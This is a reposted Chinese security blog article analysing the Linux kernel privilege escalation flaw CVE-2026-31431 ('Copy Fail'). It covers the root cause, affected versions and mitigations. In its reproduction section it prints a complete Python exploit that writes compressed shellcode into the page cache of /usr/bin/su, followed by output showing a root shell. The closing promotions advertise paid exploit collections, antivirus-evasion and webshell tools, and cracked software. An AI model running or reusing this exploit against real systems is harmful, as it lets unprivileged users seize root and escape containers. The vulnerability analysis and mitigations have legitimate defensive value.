Linux内核史诗级本地提权漏洞全网深度复现、原理完整分析(CVE-2026-31431)

admin 2026-05-06 06:57:04 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档深度分析了Linux内核本地提权漏洞CVE-2026-31431(CopyFail),该漏洞潜伏9年,源于2017年AFALG加密API与splice()系统调用的逻辑缺陷,允许通过可控seqnolo实现页缓存越界写,实现100%确定性提权与容器逃逸。文章详细展示了漏洞原理、影响范围(Linux4.14-6.19.11)、复现步骤(732字节Python脚本)及修复方案(卸载algif_aead模块或升级内核)。 综合评分: 87 文章分类: 漏洞分析,应急响应,漏洞预警,红队,Linux安全


cover_image

Linux 内核史诗级本地提权漏洞 全网深度复现、原理完整分析( CVE-2026-31431)

原创

漏洞复现Tony 漏洞复现Tony

渗透安全HackTwo

2026年5月3日 10:45 广东

在小说阅读器读本章

去阅读

0x01 事件速览:一颗潜伏9年的”定时炸弹”

2026年4月29日,韩国安全研究团队 Theori 公开披露了一个堪称”史诗级”的 Linux 内核本地提权漏洞——CVE-2026-31431,代号 “Copy Fail”。该漏洞由研究员 Taeyang Lee 借助 AI 辅助代码审计工具 Xint Code 发现,并于3月23日报告给 Linux 内核安全团队。

这颗”炸弹”的可怕之处在于:

  • 潜伏时间长达9年:漏洞源于2017年引入的一个”原地优化”(commit 72548b093ee3),此后所有基于该版本构建的内核均受影响;
  • 100%确定性利用:无需竞争条件、无需硬编码内核偏移、跨发行版通用;
  • 攻击门槛极低:仅需一个本地普通用户账号 + 732字节的 Python 脚本,即可从 uid=1000 秒变 uid=0
  • 容器逃逸利器:在共享内核的云环境、K8s集群、CI/CD流水线中,一个受控容器即可突破隔离,直取宿主机 root。

美国网络安全与基础设施安全局(CISA)已在5月1日将其纳入 已知被利用漏洞目录(KEV),各大发行版补丁正在紧急推送中。

免责声明

请自行搭建环境进行漏洞测试,该公众号或作者星球分享的工具、项目、漏洞仅供安全研究与学习之用请勿用于非法行为,如用于其他用途,由使用者承担全部法律及连带责任,与作者和本公众号无关。

TIPS: 更多POC末尾领取资料及加入星球福利

0x02漏洞原理:当加密API遇上页缓存

Copy Fail 并非传统意义上的内存破坏漏洞(如堆溢出、UAF),而是一个逻辑缺陷。它恰好位于三个内核子系统的交汇点:

| 子系统 | 角色 | | — | — | | AF_ALG | Linux 用户态加密 API 套接字接口,允许用户程序调用内核加密算法 | | splice() | 零拷贝系统调用,可在文件描述符和管道之间直接搬运数据,绕过用户态缓冲区 | | authencesn | AEAD(认证加密)算法模板,组合了 hmac(sha256) 和 cbc(aes) |

2017年,内核开发者为提升 AEAD 操作性能,引入了一项原地优化:当源数据与目标数据位于同一内存区域时,避免不必要的内存拷贝。这本是一个性能优化,却埋下了一颗逻辑炸弹。

在 algif_aead 模块处理 AEAD 解密时,内核会构建两个散列表(Scatter-Gather List):

  • TX SGL(发送散列表):存放待解密的密文;
  • DST SGL(目标散列表):存放解密后的明文。

正常情况下,DST SGL 应该指向一块独立的内核缓冲区。但2017年的优化允许:当检测到”原地操作”条件时,直接将页缓存(Page Cache)页面链接到 DST SGL 的可写链表中

攻击数据流:4字节精准注入

sendmsg(AAD)              splice(目标文件)       │                          │       ▼                          ▼  ┌──────────┐   sg_chain    ┌──────────────────┐  │ RX缓冲区 │──────────────▶│   页缓存页面      │  │  8字节   │               │ (如 /usr/bin/su)│  └──────────┘               └──────────────────┘                                    ▲                                    │                         authencesn 在此写入 seqno_lo                         偏移 = assoclen + cryptlen                         ════ 漏洞触发点 ════

具体步骤如下:

  1. 创建加密套接字:调用 socket(AF_ALG, ...) 创建 AEAD 套接字,绑定 authencesn(hmac(sha256),cbc(aes)) 算法;
  2. 注入页缓存:通过 splice() 将目标文件(如 /usr/bin/su)的页缓存页面零拷贝到套接字的发送端;
  3. 构造AAD:通过 sendmsg() + MSG_MORE 发送关联认证数据(AAD),其中包含攻击者完全可控的 4字节 seqno_lo
  4. 触发越界写:内核在处理 AEAD 解密时,将 seqno_lo 写入 DST SGL 的 assoclen + cryptlen 偏移处。由于 DST SGL 已链接到页缓存页面,这4字节直接落入了只读文件的页缓存中;
  5. HMAC校验失败:由于数据被篡改,HMAC 校验必然失败,内核返回 EBADMSG 错误。但此时页缓存已被污染,且磁盘上的文件原封不动

影响范围:几乎全军覆没

受影响的内核版本

| 版本范围 | 状态 | | — | — | | Linux 4.14 ~ 6.18.21 | ❌  vulnerable | | Linux 6.19.0 ~ 6.19.11 | ❌  vulnerable | | Linux 6.18.22+ / 6.19.12+ / 7.0+ | ✅  patched |

受影响的发行版

包括但不限于:

  • Ubuntu:16.04/18.04/20.04/22.04/24.04 LTS 等
  • Red Hat:RHEL 8/9/10,CentOS Stream,Fedora
  • Debian:Debian 9/10/11/12
  • SUSE:SLES 15, openSUSE Leap/Tumbleweed
  • Arch Linux
  • Amazon Linux 2/2023
  • Alpine Linux(容器基础镜像!)

0x03 漏洞复现

执行命令python3  copy_fail_exp.py

#!/usr/bin/env python3import&nbsp;os as g,zlib,socket as sdef&nbsp;d(x):return bytes.fromhex(x)def&nbsp;c(f,t,c):&nbsp;a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&nbsp;try:u.recv(8+t)&nbsp;except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while&nbsp;i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")

复现效果

[*] CVE-2026-31431&nbsp;'Copy Fail'&nbsp;Exploit[*] Universal Linux kernel privilege escalation[*] Target binary: /usr/bin/su[*] Testing&nbsp;for&nbsp;vulnerability...[+] System appears vulnerable![+] Opened /usr/bin/su (fd=3)[+] File size:&nbsp;56944&nbsp;bytes[+] Shellcode size:&nbsp;160&nbsp;bytes[+] Patching file&nbsp;in&nbsp;page cache...&nbsp; &nbsp; Written&nbsp;160/160&nbsp;bytes...[+] Page cache patching complete!# whoamiroot# iduid=0(root) gid=0(root) groups=0(root)

0x04 修复建议

方案A:卸载 algif_aead 模块(推荐)

⚠️ RHEL 9 用户注意algif_aead 在 RHEL 9 中为内置模块(built-in),无法通过 rmmod 卸载,必须等待内核补丁或采用方案B。

方案B:限制 AF_ALG 套接字

通过 seccompSELinuxAppArmor 或容器安全策略,禁止不可信工作负载访问 AF_ALG 接口:

方案C:监控异常 splice + AF_ALG 组合

长期修复:升级内核

| 目标版本 | 修复状态 | | — | — | | Linux 6.18.22+ | ✅ 已修复 | | Linux 6.19.12+ | ✅ 已修复 | | Linux 7.0+ | ✅ 已修复 |

各大发行版补丁状态(截至2026年5月2日):

  • Ubuntu:已发布 USN 公告,紧急更新推送中
  • Red Hat:RHEL 8/9/10 补丁正在测试,预计48小时内发布
  • Debian:DSA 公告已发布
  • SUSE:维护更新已可用
  • Arch:linux 包已更新至修复版本

#

内部星球VIP介绍V1.5(更多未公开挖洞技术欢迎加入星球)

如果你想学习更多另类渗透SRC挖洞技术/攻防/免杀/应急溯源/赏金赚取/工作内推,欢迎加入我们内部星球可获得内部工具字典和享受内部资源/内部群🔥

🚀1.每周更新1day/0day漏洞刷分上分,目前已更新至5394+;

🧰2.包含网上的各种付费工具/各种Burp漏洞检测插件/fuzz字典等等;

🧩3.Fofa/Hunter/Ctfshow/360Quake/Shadon/零零信安/Zoomeye各种账号高级VIP会员共享等等;

🎥4.最新SRC挖洞文库/红队/代审/免杀/逆向视频资源等等;

🧪5.内部自动化漏扫赚赏金捡洞工具,免杀CS/Webshell工具等等;

💡6.漏洞报告文库、共享SRC漏洞报告学习挖洞技巧;

🎯6.最新0Day1Day漏洞POC/EXP分享地址(同步更新);

https://t.zsxq.com/8IDY4(全网最新最完整的漏洞库)

🔥7.详情直接点击下方链接进入了解,后台回复” 星球 “获取优惠先到先得!后续资源会更丰富在加入还是低价!(即将涨价)以上仅介绍部分内容还没完!点击下方地址全面了解👇🏻

👉点击了解加入–>>2026内部VIP星球福利介绍V1.5版本-1day/0day漏洞库及内部资源更新

结尾

免责声明

获取方法

回复“app” 获取  app渗透和app抓包教程

回复“渗透字典” 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍” 获取 网络安全相关经典书籍电子版pdf

压缩包解压密码:HackTwo

免责声明

文章中的案例或工具仅面向合法授权的企业安全建设行为,如您需要测试内容的可用性,请自行搭建靶机环境,勿用于非法行为。如用于其他用途,由使用者承担全部法律及连带责任,与作者和本公众号无关。本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。如您在使用本工具或阅读文章的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。本工具或文章或来源于网络,若有侵权请联系作者删除,请在24小时内删除,请勿用于商业行为,自行查验是否具有后门,切勿相信软件内的广告!


往期推荐

内部VIP知识星球福利介绍V1.5版本

最新BurpSuite2026.4.1专业版中英文版下载

最新Nessus2026下载Windows/Linux

最新xray1.9.11高级版下载Windows/Linux

最新HCL AppScan Standard 10.9.128273破解版下载

渗透安全HackTwo

微信号:关注公众号获取

后台回复星球加入:知识星球

扫码关注 了解更多

喜欢的朋友可以点赞转发支持一下


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:渗透安全HackTwo 漏洞复现Tony 漏洞复现Tony《Linux 内核史诗级本地提权漏洞 全网深度复现、原理完整分析( CVE-2026-31431)》

评论:0   参与:  0